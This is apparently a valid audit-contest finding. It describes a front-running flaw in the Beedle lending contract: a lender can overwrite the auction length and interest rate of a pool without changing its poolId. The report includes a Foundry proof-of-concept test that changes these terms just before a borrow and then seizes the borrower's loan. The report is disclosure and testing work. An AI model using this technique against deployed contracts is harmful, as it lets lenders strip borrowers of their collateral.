20,000 USDC
View results
Submission Details
Severity: medium
Valid

Lender can overwrite the conditions of their loan in their favor when Borrow() is called without reverting the borrow by keeping the keccak hash that generates the poolId the same.

Summary

Pool details can be changed without changing poolID. When borrower calls borrow(poolID), the transaction can be frontrun by changing the loan detials, eg. chaning the auction length from 1 day to 1 second and intrest rate from 10% to 999%.

Vulnerability Details

When Borrow is called a struct is entered as a parameter which contains poolID, loan and collateral. The lender can front run a valid borrow transaction and insert at transaction in the same block which keeps the same poolID but changes the auctionLength and interestRate variables.

Here is a POC where the lender creates a pool p.
The borrow creates a struct containing the poolId generated by p:

bytes32 poolId = lender.setPool(p);

The lender frontRuns the Borrow by creating another pool q. Now the hash of the pool details is calculated by the keccak hash of certain aspects of the pool:

keccak256(
abi.encode(
loans[loanId].lender,
loans[loanId].loanToken,
loans[loanId].collateralToken
)

but none of these properties are the interest rate and auction rate, which are what we manipulate. Therefore the poolId is the same. In fact the poolId stays the same as long as the Loan Token and Collateral Token are unchanged.

The borrow transaction does not revert and then the borrower gets a loan with far worse conditions than they initially signed up for.

This function/POC should be copy pasted to the already existing Lender.t.sol in the test file of the 20203-07-BEEDLE folder.

function test_startAuction_change_time_and_interest() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(,,,,uint256 poolBalance,,,,) = lender.pools(poolId);
assertEq(poolBalance, 1000*10**18);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
//frontRun borrow:
vm.startPrank(lender1);
Pool memory q = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1,
interestRate: 99999,
outstandingLoans: 0
});
lender.setPool(q);
vm.stopPrank();
vm.startPrank(borrower);
lender.borrow(borrows);
vm.stopPrank();
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
vm.startPrank(lender1);
lender.startAuction(loanIds);
vm.warp(block.timestamp + 2);
lender.seizeLoan(loanIds);
}

This also verifies that the auction time was succesfully reset by

  1. starting the auction - lender.startAuction(loanIds);

  2. setting block timestamp forward 2 seconds vm.warp(block.timestamp + 2);

  3. and seizing the borrower-victim's loan lender.seizeLoan(loanIds);

Impact

Loaners can change the conditions of loans as soon as borrowers submit a borrow() transaction without causing it to revert. This can
-allow them to set the refinancing/auction period to 1 second which almost instantly can liquidate the borrower
-set the interest to 999%

Tools Used

Foundry

Recommendations

The keccak hash should ensure that it is unique when critical aspects of the loan are different.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.